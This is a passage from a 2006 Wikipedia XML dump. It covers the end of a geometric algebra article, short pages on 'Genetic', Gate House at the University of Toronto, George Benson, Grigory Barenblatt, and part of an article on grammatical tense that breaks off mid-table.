&lt;/math&gt; and P. By geometric algebra, even the algebraic answer is simple: &lt;math&gt; \mathbf y \mathbf  v = s + B  =&gt;  \mathbf y = (s + B)/ \mathbf v = (s + B) \mathbf v &lt;/math&gt;&lt;sup&gt;-1&lt;/sup&gt;, where the inverse of a non-zero vector is expressed by &lt;math&gt; \mathbf z &lt;/math&gt;&lt;sup&gt;-1&lt;/sup&gt; &lt;math&gt; = \mathbf z /(\mathbf z \cdot \mathbf z ) &lt;/math&gt;. Note that the division by a vector transforms the multivector &lt;math&gt; s + B &lt;/math&gt; into the sum of two vectors. Note also that the structure of the solution does not depend on the chosen origin.

The [[outer product]] (the [[Exterior algebra|exterior product]], or the [[wedge product]]) &lt;math&gt;\wedge&lt;/math&gt; is defined such that the [[graded algebra]] ([[exterior algebra]] of [[Hermann Grassmann]]) &lt;math&gt;\wedge^n\mathcal{V}_n&lt;/math&gt; of multivectors is generated. Multivectors are thus the direct sum of grade ''k'' elements ('''''k''-vectors'''), where ''k'' ranges from 0 (''scalars'') to ''n'', the dimension of the original vector space  &lt;math&gt;\mathcal V&lt;/math&gt;. Multivectors are represented here by boldface caps. Note that scalars and vectors become special cases of multivectors (&quot;0-vectors&quot; and &quot;1-vectors&quot;, respectively).

==The contraction rule==
The connection between Clifford algebras and [[quadratic form]]s come from the contraction property. This rule also gives the space a [[metric (mathematics)|metric]] defined by the naturally derived [[inner product]]. It is to be noted that in geometric algebra in all its generality there is no restriction whatsoever on the value of the scalar, it can very well be negative, even zero (in that case, the possibility of an inner product is ruled out if you require &lt;math&gt;\langle x, x \rangle \ge 0&lt;/math&gt;).

The contraction rule can be put in the form:
:&lt;math&gt;Q(\mathbf a) = \mathbf a^2 = \epsilon_a {\Vert \mathbf a \Vert}^2&lt;/math&gt;
where &lt;math&gt;\Vert \mathbf a \Vert&lt;/math&gt; is the [[modulus]] of vector '''a''', and &lt;math&gt;\epsilon_a=0, \, \pm1&lt;/math&gt; is called the ''signature'' of vector '''a'''. This is especially useful in the construction of a [[Minkowski space]] (the [[relativity]] [[spacetime]]) through &lt;math&gt; \mathbb{R}_{1,3}&lt;/math&gt;. In that context, null-vectors are called &quot;lightlike vectors&quot;, vectors with negative signature are called &quot;spacelike vectors&quot; and vectors with positive signature are called &quot;timelike vectors&quot; (these last two denominations are exchanged when using &lt;math&gt;\mathbb{R}_{3,1}&lt;/math&gt; instead).

==Inner and outer product==
The usual [[dot product]] and [[cross product]] of traditional vector algebra (on &lt;math&gt;\mathbb{R}^3&lt;/math&gt;) find their places in geometric algebra &lt;math&gt;\mathcal{G}_3&lt;/math&gt; as the inner product

:&lt;math&gt;\mathbf{a}\cdot\mathbf{b} = \frac{1}{2}(\mathbf{a}\mathbf{b} + \mathbf{b}\mathbf{a})&lt;/math&gt;

(which is symmetric) and the outer product

:&lt;math&gt;\mathbf{a}\wedge\mathbf{b} = \frac{1}{2}(\mathbf{a}\mathbf{b} - \mathbf{b}\mathbf{a})&lt;/math&gt;

with

:&lt;math&gt;\mathbf{a}\times\mathbf{b} = -i(\mathbf{a}\wedge\mathbf{b})&lt;/math&gt;

(which is antisymmetric). Relevant is the distinction between axial and polar vectors in vector algebra, which is natural in geometric algebra as the mere distinction between vectors and bivectors (elements of grade two). The &lt;math&gt;i&lt;/math&gt; here is the unit [[pseudoscalar]] of Euclidean 3-space, which establishes a duality between the vectors and the bivectors, and is named so because of the expected property &lt;math&gt;i^2 = -1&lt;/math&gt;.

The inner and outer product can be generalized to any dimensional &lt;math&gt;\mathcal G_{p,q,r}&lt;/math&gt;; however the cross product is only defined in a 3-dimension space. 

Let &lt;math&gt;\mathbf{a},\, \mathbf{A}_{\langle k \rangle}&lt;/math&gt; be a vector and a homogeneous multivector of grade ''k'', respectively. Their inner product is then 
:&lt;math&gt; \mathbf a \cdot \mathbf A_{\langle k \rangle} = {1 \over 2} \, \left ( \mathbf a \, \mathbf A_{\langle k \rangle} + (-1)^{k+1} \, \mathbf{A}_{\langle k \rangle} \, \mathbf{a} \right ) = (-1)^{k+1} \mathbf A_{\langle k \rangle} \cdot \mathbf{a}&lt;/math&gt;
and the outer product is 
:&lt;math&gt; \mathbf a \wedge \mathbf A_{\langle k \rangle} = {1 \over 2} \, \left ( \mathbf a \, \mathbf A_{\langle k \rangle} - (-1)^{k+1} \, \mathbf{A}_{\langle k \rangle} \, \mathbf{a} \right ) = (-1)^{k} \mathbf A_{\langle k \rangle} \wedge \mathbf{a}&lt;/math&gt;

==Applications of geometric algebra==
A useful example is &lt;math&gt;\mathbb{R}_{3, 1}&lt;/math&gt;, and to generate &lt;math&gt;\mathcal{G}_{3, 1}&lt;/math&gt;, an instance of geometric algebra called '''spacetime algebra''' by Hestenes. The electromagnetic field tensor, in this context, becomes just a bivector &lt;math&gt;\mathbf{E} + i\mathbf{B}&lt;/math&gt; where the imaginary unit is the volume element, giving an example of the geometric reinterpretation of the traditional &quot;tricks&quot;. 

[[Lorentz boost|Boosts]] in this Lorenzian metric space have the same expression &lt;math&gt;e^{\mathbf{\beta}}&lt;/math&gt; as rotation in Euclidean space, where &lt;math&gt;\mathbf{\beta}&lt;/math&gt; is of course the bivector generated by the time and the space directions involved, whereas in the Euclidean case it is the bivector generated by the two space directions, strengthening the &quot;analogy&quot; to almost identity.

== History ==
[[David Hestenes|David Hestenes ''et al.'']]'s '''''geometric algebra''''' [H1999] is a reinterpretation of Clifford algebras over the reals (said to be a return to the original name and interpretation intended by [[William Kingdon Clifford|William Clifford]]). A book of the same title by [[Emil Artin]] covers the algebra associated with many different &quot;geometries,&quot; including affine, projective, symplectic, and orthogonal.

==References==
* [H1999] David Hestenes: New Foundations for Classical Mechanics (Second Edition). ISBN 0792355148, Kluwer Academic Publishers (1999)

* Baylis, William (2002). ''Electrodynamics: A Modern Geometric Approach'' (2nd ed.). Birkhäuser. ISBN 0-8176-4025-8

* Chris Doran and Anthony Lasenby. ''Geometric Algebra for Physicists''. Cambridge (2003)

* W. E. Baylis, editor, ''Clifford (Geometric) Algebra with Applications to Physics, Mathematics, and Engineering'' , Birkhäuser, Boston 1996.

* Bourbaki, Nicolas. &quot;Eléments de Mathématique. Algèbre chap 9. §9 Algèbres de Clifford&quot;. Hermann, Paris (1980).

* D. Hestenes and G. Sobczyk. &quot;Clifford Algebra to Geometric Calculus&quot;. D. Reidel, Dordrecht (1984).

==External links==
* http://www.mrao.cam.ac.uk/~clifford/introduction/intro/intro.html
* http://www.mrao.cam.ac.uk/~clifford/
* http://www.mrao.cam.ac.uk/~clifford/ptIIIcourse/course99/
* http://www.science.uva.nl/ga/
* http://modelingnts.la.asu.edu/GC_R&amp;D.html
* http://www.ibell.co.uk/maths/geoalg.htm, comprehensive introduction and reference for programmers
* [http://www.jaapsuter.com/ A Geometric Algebra Primer], especially for computer scientists
* [http://planetmath.org/encyclopedia/GeometricAlgebra.html Geometric Algebra at PlanetMath]
* [http://sinai.mech.fukui-u.ac.jp/gcj/gc_int.html Geometric Calculus International], Research, Software, Conferences
* [http://sinai.mech.fukui-u.ac.jp/GA-Net/index.html GA-Net], Geometric Algebra/Clifford Algebra development news


[[Category:Clifford algebras]]
[[Category:Ring theory]]

[[es:Álgebra geométrica]]</text>
    </revision>
  </page>
  <page>
    <title>Genetic</title>
    <id>12942</id>
    <revision>
      <id>35371067</id>
      <timestamp>2006-01-16T06:52:47Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <minor />
      <text xml:space="preserve">*In [[biology]], '''genetic''' means pertaining to [[genetics]].
*In [[linguistics]], '''genetic''' means due to descent from a common [[protolanguage]].
*In [[computer science]], a [[genetic algorithm]] is a kind of search technique modeled on evolutionary biology.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Gate House</title>
    <id>12943</id>
    <revision>
      <id>39963181</id>
      <timestamp>2006-02-17T03:18:10Z</timestamp>
      <contributor>
        <username>Jersyko</username>
        <id>163681</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/142.150.48.199|142.150.48.199]] to last version by SimonP</comment>
      <text xml:space="preserve">[[Image:Gate_House.jpg|thumb|300px|right|Gate House seen from the Victoria College Quad]]

'''Gate House''' (also known as G-HOUSE) is an all male residence at [[Victoria College, U of T|Victoria College]] in the [[University of Toronto]].  The building first opened to students in [[1913]] and since then many famous individuals have come through Gate House including [[Lester B. Pearson]].  In 1995 the building was completely renovated.  

The house has three floors. The first floor only has one double room. This room, which used to be a super single has a pair of bed-desks and is the smallest double rooms in the house. However, it is divided into two sections, with one resident getting a separate nook allowing for more privacy than in other rooms. In addition to the double room there is the residence common room with kitchen facilities, a television, and couches. Half the floor is taken up by the apartment of the Residence Life Coordinator. This large apartment has its own entrance underneath the Gate.

The second floor has four double rooms and seven single rooms. It has two private washrooms and one larger communal one. This floor is also home to the residence don, who gets a much larger room and a private washroom. The floor also has its own kitchen. The third floor is almost identical, except that in place of the don's room there are two single rooms.

As the only all male residence at Victoria College Gate House has, in recent years, had a rather raucous reputation. It is known for its pranks on other houses, penetration of the steam tunnel system, and boisterous welcoming ceremonies. In the past it was also well known for hosting large parties. For almost 20 years up to 2003 it hosted Novemberfest, the largest annual party at U of T. Held each year in Burwash Hall. In the winter it hosted an annual toga party, that according to house legend was the first ever toga party. According to this legend [[Donald Sutherland]], who lived in neighbouring South House, remembered the Gate House party when working on the film ''[[Animal House]]'' and the producers of that film decided to include a toga party in it, popularizing the form the world over. In the spring Gate House would host the &quot;stirring of the chicken&quot; where the house members would cook hundreds of chicken fajitas and feed them to guests.

Presidents of Gate House:
*[[2005]] Adam Thom 
*[[2004]] Trevor Hill
*[[2003]] Jonathan Bedley
*[[2002]] Matt Stockburn
*[[2001]] Tafari Mbadiwe
*[[2000]] Burt James
*[[1999]] Jon Davies
*[[1998]] Mike Warner
*[[1997]] Lance Fukumoto
*[[1996]] Neil Cheddie
*[[1995]] None (closed for renovations)
*[[1994]] David Harkness/Aidan Cunniffe
*[[1993]] Nick Gieschen
*[[1992]] Greg Sarney
*[[1991]] Stephan Mostowy
*[[1990]] Darrel Cox
*[[1989]] Bruce &quot;Bastard&quot; Landon
*[[1988]] Terry Mark
*[[1987]] Eric &quot;Yogi&quot; Krause
*[[1986]] Scott Anderson
*[[1985]] Rob Sephton
*[[1984]] ???
See also [[Burwash bug]], [[Duel (film)|Duel]], [[R.C. Harris Filtration Plant]]</text>
    </revision>
  </page>
  <page>
    <title>Godels incompleteness theorem</title>
    <id>12944</id>
    <revision>
      <id>41645410</id>
      <timestamp>2006-02-28T19:36:42Z</timestamp>
      <contributor>
        <username>Trovatore</username>
        <id>310173</id>
      </contributor>
      <comment>fx dbl redir</comment>
      <text xml:space="preserve">#REDIRECT [[Gödel's incompleteness theorems]] {{R from misspelling}}</text>
    </revision>
  </page>
  <page>
    <title>George Benson</title>
    <id>12945</id>
    <revision>
      <id>39429328</id>
      <timestamp>2006-02-13T02:03:49Z</timestamp>
      <contributor>
        <username>BigT2006</username>
        <id>901115</id>
      </contributor>
      <text xml:space="preserve">'''George Benson''' (born [[March 22]], [[1943]]) is an [[United States|American]] [[jazz]] guitarist, singer and composer.

He was born and raised in the [[Hill District]] in [[Pittsburgh, Pennsylvania]] and was a professional musician from age 3. 

George Benson started out playing straight-ahead instrumental jazz with organist [[Jack McDuff]]. Benson got his first experience playing with his several-year stint with McDuff's group. At the age of 21, Benson recorded his first album as leader, ''The New Boss Guitar'', with Brother Jack McDuff on organ. 

Benson's next recording was ''It's Uptown with the George Benson Quartet'' with [[Lonnie Smith]] on organ and [[Ronnie Cuber]] on baritone sax. This album showcases Benson's talent in constructing swinging bebop lines at blistering tempos. Benson followed it up with &quot;The George Benson Cookbook,&quot; also with [[Lonnie Smith]] and [[Ronnie Cuber]].

One of his major hits is the song &quot;This Masquerade&quot;, which is included in the top-selling album ''Breezin' ''. This album represents a shift to more commercially oriented music which brought Benson a wider audience but alienated some jazz fans.  Other singles that have made the [[Billboard Hot 100]] charts include &quot;On Broadway&quot; ([[1978]]), &quot;Love Ballad&quot; ([[1979]]), &quot;Give Me The Night&quot; ([[1980]]) and &quot;Turn Your Love Around&quot; ([[1982]]).

Benson continues to play outstanding jazz guitar, as evidenced on recordings such as Jimmy Smith's ''Off the Top,'' Benson's own live album ''Par Excellence'', and ''Tenderly'', on which Benson is accompanied by [[McCoy Tyner]] on piano.

For his contribution to the recording industry, George Benson has a star on the [[Hollywood Walk of Fame]] at 7055 Hollywood Blvd.

==Discography==
*''It's Uptown'' ([[1966]])
*''George Benson Cookbook'' ([[1966]])
*''Benson Burner'' ([[1966]])
*''Willow Weep For Me'' ([[1967]])
*''Shape of Things to Come'' (October [[1968]])
*''Tell It Like It Is'' (August [[1969]])
*''The Other Side of Abbey Road'' (November [[1969]])
*''I Got A Woman And Some Blues'' ([[1970]])
*''Beyond the Blue Horizon'' (February [[1971]])
*''White Rabbit'' (November [[1971]])
*''Body Talk'' ([[1973]])
*''Bad Benson'' (June [[1974]])
*''Breezin' '' (August [[1976]])
*''In Flight'' (January [[1977]])
*''Livin' Inside Your Love'' (April [[1979]])
*''Give Me The Night'' (September [[1980]])
*''In Your Eyes'' (June [[1983]])
*''20-20'' (January [[1985]])
*''While The City Sleeps...'' (September [[1986]])
*''Collaboration'' (July [[1987]])
*''Twice the Love'' (August [[1988]])
*''Tenderly'' (July [[1989]])
*''Big Boss Band'' (October [[1990]])
*''Love Remembers'' (June [[1993]])
*''That's Right'' (June [[1996]])
*''Absolute Benson'' (May [[2000]])
*''Best Of Live'' (October [[2005]])


'''More complete discography from nl.wikipedia.org below:'''

===Albums===
{{Albumstabel}}						
|- align=center						
|align=left|''	George Benson/Jack McDuff	''||	1964	||	-	||
|- align=center						
|align=left|''	The New Boss Guitar	''||	1964	||	-	||
|- align=center						
|align=left|''	Benson Burner	''||	1965	||	-	||
|- align=center						
|align=left|''	This is Jazz, Vol. 9	''||	1965	||	-	||
|- align=center						
|align=left|''	Its Uptown	''||	1966	||	-	||
|- align=center						
|align=left|''	George Benson Cookbook	''||	1966	||	-	||
|- align=center						
|align=left|''	Benson Burner	''||	1966	||	-	||
|- align=center						
|align=left|''	Blue Benson	''||	1967	||	-	||
|- align=center						
|align=left|''	Willow Weep For Me	''||	1967	||	-	||
|- align=center						
|align=left|''	Giblet Gravy	''||	1968	||	-	||
|- align=center						
|align=left|''	Shape of Things to Come	''||	1968	||	-	||
|- align=center						
|align=left|''	Goodies	''||	1968	||	-	||
|- align=center						
|align=left|''	Tell It Like It Is	''||	1969	||	-	||
|- align=center						
|align=left|''	The other side of Abbey Road	''||	1969	||	-	||
|- align=center						
|align=left|''	I Got A Woman And Some Blues	''||	1970	||	-	||
|- align=center						
|align=left|''	Beyond the Blue Horizon	''||	1971	||	recorded at ''Van Gelder Studios (NL)''	||
|- align=center						
|align=left|''	White Rabbit	''||	1971	||	-	||
|- align=center						
|align=left|''	Jazz on a Sunday Afternoon Vol. 1 &amp; 2	''||	1973	||	Live	||
|- align=center						
|align=left|''	Wichcraft	''||	1973	||	Live	||
|- align=center						
|align=left|''	Body Talk	''||	1973	||	-	||
|- align=center						
|align=left|''	Bad Benson	''||	1974	||	-	||
|- align=center						
|align=left|''	In Concert-Carnegie Hall 	''||	1975	||	Live	||
|- align=center						
|align=left|''	Good King Bad	''||	1975	||	-	||
|- align=center						
|align=left|''	Breezin 	''||	1976	||	-	||
|- align=center						
|align=left|''	Benson &amp; Farrell	''||	1976	||	-	||
|- align=center						
|align=left|''	In Flight	''||	1977	||	-	||
|- align=center						
|align=left|''	Livin Inside Your Love	''||	1977	||	-	||
|- align=center						
|align=left|''	Weekend in L.A	''||	1977	||	-	||
|- align=center						
|align=left|''	Space Album	''||	1978	||	-	||
|- align=center						
|align=left|''	In Your Eyes	''||	1978	||	-	||
|- align=center						
|align=left|''	Take Five 	''||	1979	||	-	||
|- align=center						
|align=left|''	Cast Your Fate to the Wind 	''||	1980	||	-	||
|- align=center						
|align=left|''	Give Me The Night	''||	1980	||	-	||
|- align=center						
|align=left|''	GB	''||	1981	||	-	||
|- align=center						
|align=left|''	The George Benson Collection	''||	1981	||	-	||
|- align=center						
|align=left|''	Pacific Fire	''||	1983	||	-	||
|- align=center						
|align=left|''	20-20	''||	1984	||	-	||
|- align=center						
|align=left|''	Live in Concert	''||	1984	||	Live	||
|- align=center						
|align=left|''	While The City Sleeps…	''||	1986	||	-	||
|- align=center						
|align=left|''	Collaboration	''||	1987	||	-	||
|- align=center						
|align=left|''	Twice the Love 	''||	1988	||	-	||
|- align=center						
|align=left|''	Tenderly	''||	1989	||	-	||
|- align=center						
|align=left|''	Big Boss Band	''||	1990	||	-	||
|- align=center						
|align=left|''	The Essence of George Benson 	''||	1992	||	-	||
|- align=center						
|align=left|''	Love Remembers	''||	1993	||	-	||
|- align=center						
|align=left|''	The Most Exciting New Guitarist on the Jazz Scene	''||	1994	||	-	||
|- align=center						
|align=left|''	 California Dreamin' 	''||	1996	||	-	||
|- align=center						
|align=left|''	 Lil Darlin'  	''||	1996	||	-	||
|- align=center						
|align=left|''	Thats Right	''||	1996	||	-	||
|- align=center						
|align=left|''	 Standing Together  	''||	1998	||	-	||
|- align=center						
|align=left|''	 Masquerade	''||	1998	||	-	||
|- align=center						
|align=left|''	 The Masquerade Is Over 	''||	1999	||	-	||
|- align=center						
|align=left|''	Absolute Benson	''||	2000	||	-	||
|- align=center						
|align=left|''	 All Blues	''||	2001	||	-	||
|- align=center						
|align=left|''	Blue Bossa 	''||	2002	||	-	||
|- align=center						
|align=left|''	After Hours	''||	2002	||	-	||
|- align=center						
|align=left|''	Irreplaceable 	''||	2004	||	-	||
|- align=center						
|align=left|''	 Golden Legends Live	''||	2004	||	-	||
|- align=center						
|align=left|''	Jazz After Hours with George Benson	''||	2005	||	-	||
|- align=center						
|align=left|''	Best of George Benson	''||	2005	||	Live	||
|}

==Samples==
*[[Media:The Masquerade Is Over.ogg|Download sample]] of &quot;The Masquerade Is Over&quot;

Back in the day George Benson occasionally introduced new and upcoming artists during performances. On one such occasion George Benson introduced a guitarist named John Bowden. John played a black Les Paul. John now goes under the name 2guitarjohn.com. The performance with George Benson was in 1976. It was just prior to George's release &quot;This Masquerade&quot;. Drummer Kenwood Denard also sat in on the set.

==External links==
*[http://www.playjazzguitar.com/george_benson.html George Benson]
*[http://www.georgebenson.com/ George Benson official homepage]
*[http://www.onamrecords.com/gallery/George%20Benson George Benson's career on A&amp;M Records with gallery, international discography]

*[http://www.jazzguitar.be/george_benson_licks.html George Benson Guitar Tabs]
*[http://www.guitar-poll.com/ Guitar-Poll]

[[Category:1943 births|Benson, George]]
[[Category:Living people|Benson, George]]
[[Category:African-American singers|Benson, George]]
[[Category:American composers|Benson, George]]
[[Category:American jazz singers|Benson, George]]
[[Category:American singer-guitarists|Benson, George]]
[[Category:Hollywood Walk of Fame|Benson, George]]
[[Category:Jehovah's Witnesses people]]
[[Category:People from Pittsburgh|Benson, George]]

{{Persondata
|NAME=Benson, George
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=American singer-guitarist
|DATE OF BIRTH=[[May 22]] [[1943]]
|PLACE OF BIRTH=
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[de:George Benson]]
[[fr:George Benson]]
[[nl:George Benson]]
[[pl:George Benson]]</text>
    </revision>
  </page>
  <page>
    <title>Grigory Barenblatt</title>
    <id>12946</id>
    <revision>
      <id>38238216</id>
      <timestamp>2006-02-05T01:42:59Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[Image:GIB-portrait.v.jpg|thumb|right| Grigory Barenblatt]]
'''Grigory Isaakovich Barenblatt''' (born [[July 10]], [[1927]]) is a [[Russians|Russian]] [[mathematician]]. He graduated in [[1950]] from [[Moscow State University|University of Moscow]], Department of Mechanics and Mathematics. He received his Ph.D. in [[1953]] from University of Moscow under the supervision of [[A. N. Kolmogorov]]. He also received a D.Sc. from University of Moscow in [[1957]]. He is a Professor in Residence at the Department of Mathematics of the [[University of California, Berkeley]] and Mathematician at Department of Mathematics, [[Lawrence Berkeley National Laboratory]]. He was [[G. I. Taylor]] Professor of [[Fluid Mechanics]] at the [[University of Cambridge]] from [[1992]] to [[1994]] and he has been Emeritus G. I. Taylor Professor of Fluid Mechanics since then.

His areas of research are:

# [[Fracture mechanics]]
# The theory of [[fluid]] and [[gas]] [[flow]]s in [[porosity|porous media]]
# The [[mechanics]] of a non-classical deformable [[solid]]s
# [[Turbulence]]
# [[Self-similarity|Self-similarities]], [[nonlinear wave]]s and [[intermediate asymptotics]].

He usually publishes the result of his studies in the [http://www3.oup.co.uk/qjmamj/ Quarterly Journal of Applied Mathematics and Mechanics].

His awards and honors include:
* [[1975]] &amp;ndash; Foreign Honorary Member, American [[Academy of Arts &amp; Sciences]]
* [[1984]] &amp;ndash; Foreign Member, Danish Center of Applied Mathematics &amp; Mechanics
* [[1988]] &amp;ndash; Foreign Member, Polish Society of Theoretical &amp; Applied Mechanics
* [[1989]] &amp;ndash; Doctor of Technology Honoris Causa at the Royal Institute of Technology, Stockholm, Sweden
* [[1992]] &amp;ndash; Foreign Associate, U.S. [[National Academy of Engineering]]
* [[1993]] &amp;ndash; Fellow, [[Cambridge Philosophical Society]]
* [[1993]] &amp;ndash; Member, Academia Europaea
* [[1994]] &amp;ndash; Fellow, Gonville and Caius College, Cambridge; (since 1999, Honorary Fellow)
* [[1995]] &amp;ndash; Lagrange Medal, Accademia Nazzionale dei Lincei
* [[1995]] &amp;ndash; Modesto Panetti Prize and Medal
* [[1997]] &amp;ndash; Foreign Associate, U.S. [[National Academy of Sciences]]
* [[1999]] &amp;ndash; [[G. I. Taylor]] Medal, U.S. Society of Engineering Science
* [[1999]] &amp;ndash; [[J. C. Maxwell]] Medal and Prize, International Congress for Industrial and Applied Mathematics
* [[2000]] &amp;ndash; Foreign Member, [[Royal Society of London]]
* [[2005]] &amp;ndash; [[Timoshenko Medal]], [[American Society of Mechanical Engineers]], &quot;for seminal contributions to nearly every area of solid and fluid mechanics, including fracture mechanics, turbulence, stratified flows, flames, flow in porous media, and the theory and application of intermediate asymptotics.&quot; 

[[Category:1927 births|Barenblatt, Grigory]]
[[Category:Living people|Barenblatt, Grigory]]
[[Category:Russian mathematicians|Barenblatt, Grigory]]
[[Category:20th century mathematicians|Barenblatt, Grigory]]
[[Category:21st century mathematicians|Barenblatt, Grigory]]
[[Category:Members and associates of the US National Academy of Sciences|Barenblatt, Grigory]]</text>
    </revision>
  </page>
  <page>
    <title>Grammatical tense</title>
    <id>12947</id>
    <revision>
      <id>41885916</id>
      <timestamp>2006-03-02T10:28:16Z</timestamp>
      <contributor>
        <username>Supalognon</username>
        <id>350076</id>
      </contributor>
      <text xml:space="preserve">Grammatical '''tense''' is a way [[language]]s express the time at which an event described by a sentence occurs. In [[English language|English]], this is a property of a [[verb]] form, and expresses only time-related information.

Tense, along with [[grammatical mood|mood]], [[grammatical voice|voice]] and [[grammatical person|person]], are three ways in which verb forms are frequently characterized, in languages where those categories apply. There are languages (mostly [[isolating language]]s, like [[Chinese language|Chinese]]) where tense is not expressed anywhere in the verb or any auxiliaries, but only as adverbs of time, when needed for comprehension; and there are also languages (such as [[Russian language|Russian]]) where tense is not deemed very important and emphasis is instead placed on [[grammatical aspect|aspect]].

The exact number of tenses in a language is often a matter of some debate, since many languages include the state of certainty of the information, the frequency of the event, whether it is ongoing or finished, and even whether the information was directly experienced or gleaned from hearsay, as moods or tenses of a verb.  Some grammarians consider these to be separate tenses, and some do not.

Tenses cannot be easily mapped from one language into another. While all languages have a &quot;default&quot; tense with a name usually translated as &quot;present tense&quot; (or &quot;simple present&quot;), the actual meaning of this tense may vary considerably. For example, the simple present tense in Spanish is often employed for continuous actions, where English would use a continuous phrase (&quot;be doing&quot;), and the [[Japanese language|Japanese]] present tense is actually best described as &quot;non-past tense&quot; because it's used also for future events.

==Compound tenses==
The more complex tenses in [[Indo-European]] languages are formed by combining a particular tense of the verb with certain [[auxiliary verb|verbal auxiliaries]], the most common of which are various forms of &quot;be&quot;, various forms of &quot;have&quot;, and modal auxiliaries such as English ''will''. Romance and Germanic languages often add &quot;to hold&quot;, &quot;to stand&quot;, &quot;to go&quot;, or &quot;to come&quot; as auxiliary verbs.  For example, Italian uses ''stare'' (&quot;stand&quot;) with the present participle to indicate the present continuous.  Portuguese uses ''ter'' (&quot;have&quot;) with the past participle for the perfect tense.  Swedish uses ''kommer att'' (&quot;come to&quot;) for the simple future, and Spanish ''ir a'' (&quot;go to&quot;) for the same. These constructions are often known as complex tenses or compound tenses (a more accurate technical term is [[periphrasis|periphrastic]] tenses).

Examples of some generally-recognized [[Indo-European]] and [[Finnish language|Finnish]] tenses using the verb &quot;to go&quot; are shown in the table below.
&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;&gt;
&lt;tr align=&quot;center&quot;&gt;
&lt;td width=&quot;10%&quot;&gt;'''tense'''&lt;/td&gt;
&lt;td width=&quot;10%&quot;&gt;[[Germanic language|Germanic]]: [[English language|English]]:&lt;br&gt; '''''to go'''''  &lt;/td&gt;
&lt;td width=&quot;10%&quot;&gt;[[Romance language|Romance]]: [[Italian language|Italian]]:&lt;br&gt; '''''andare''''' &lt;/td&gt;
&lt;td width=&quot;10%&quot;&gt;[[Germanic language|Germanic]]: [[Swedish language|Swedish]]:&lt;br&gt; '''''att g&amp;aring;''''' &lt;/td&gt;
&lt;td width=&quot;10%&quot;&gt;[[Finno-ugric|Finno-ugric]]: [[Finnish language|Finnish]]:&lt;br&gt; '''''menn&amp;auml;''''' &lt;/td&gt;
&lt;td width=&quot;50%&quot;&gt;'''notes'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;simple [[Present tense|present]]&lt;/td&gt;
&lt;td&gt;''I go.''&lt;/td&gt;
&lt;td&gt;''Vado.''&lt;/td&gt;
&lt;td&gt;''Jag g&amp;aring;r.''&lt;/td&gt;
&lt;td&gt;''Menen.''&lt;/td&gt;
&lt;td&gt;In most languages this is used for most present indicative uses. In English, it's used mainly to express habit or ability (&quot;I play the guitar&quot;). &lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;present [[Progressive tense|continuous]]&lt;/td&gt;
&lt;td&gt;''I am going.''&lt;/td&gt;
&lt;td&gt;''Sto andando.''&lt;/td&gt;
&lt;td&gt;''Jag g&amp;aring;r.''&lt;/td&gt;
&lt;td&gt;''Olen menossa.''&lt;/td&gt;
&lt;td&gt;This form is prevalent in English to express current action, but is absent or rarer in other Indo-European languages, which prefer the simple present tense.  Continuous is more an [[grammatical aspect|aspect]] than a tense and is included here only because of its prevalence in English to substitute for the Simple Present.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;simple past ([[Preterite|preterite]], [[Imperfect tense|imperfect]])&lt;/td&gt;
&lt;td&gt;''I went.''&lt;/td&gt;
&lt;td&gt;''Andai.''&lt;/td&gt;
&lt;td&gt;''Jag gick.''&lt;/td&gt;
&lt;td&gt;''Menin.''&lt;/td&gt;
&lt;td&gt;In English (unlike in some languages with [[aorist]] tenses), this implies that the action took place in the past and that it is ''not'' taking place now.&lt;/td&gt;

&lt;tr&gt;&lt;td&gt;simple [[Future tense|future]]&lt;/td&gt;
&lt;td&gt;''I will go.''&lt;/td&gt;
&lt;td&gt;''Andr&amp;ograve;.''&lt;/td&gt;
&lt;td&gt;''Jag ska g&amp;aring;.''&lt;/td&gt;
&lt;td&gt;''Menen.''&lt;/td&gt;
&lt;td&gt;This can be used to express intention, prediction, and other senses.  In Finnish, the future tense is identical to the present tense.&lt;/td&gt;&lt;/tr&gt;
&lt;!-- as [[User: Circeus]] says, some of these tenses are actually not time-only but include aspect.  And they're pretty particular to English, so I'm cutting them [[User:Steverapaport|Steverapaport]] 16:08, [[12 December]] [[2004]] (UTC) 
&lt;tr&gt;&lt;td&gt;past [[Progressive tense|continuous]]&lt;/td&gt;
&lt;td&gt;''I was going.''&lt;/td&gt;
&lt;td&gt;''Andavo.''&lt;/td&gt;
&lt;td&gt;''Olin menossa.''&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;future [[Progressive tense|continuous]]&lt;/td&gt; &lt;td&gt;''I will be going.''&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
--&gt;
&lt;tr&gt;&lt;td&gt;present [[Perfect tense|perfect]]&lt;/td&gt;
&lt;td&gt;''I have gone.''&lt;/td&gt;
&lt;td&gt;''Sono andato.''&lt;/td&gt;
&lt;td&gt;''Jag har g&amp;aring;tt.''&lt;/td&gt;
&lt;td&gt;''Olen mennyt.''&lt;/td&gt;
&lt;td&gt;Common past composite tense.  In some languages indicates recent past, in others indicates an unknown past time.&lt;/td&gt;&lt;/tr&gt;

&lt;!-- again revising this out as suggested by Circeus 
&lt;tr&gt;&lt;td&gt;present [[Perfect tense|perfect]] [[Progressive tense|continuous]]&lt;/td&gt;
&lt;td&gt;''I have been going.''&lt;/td&gt;
&lt;td&gt;This is used to express that an event or habit started at some time in the past and continues to the present.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;past [[Perfect tense|perfect]] [[Progressive tense|continuous]]&lt;/td&gt;
&lt;td&gt;''I had been going.''&lt;/td&gt;
&lt;td&gt;This is usually coupled with a duration, indicating that an event was ongoing for a specific time and was completed before a specific event.&lt;/td&gt;&lt;/tr&gt;
--&gt;

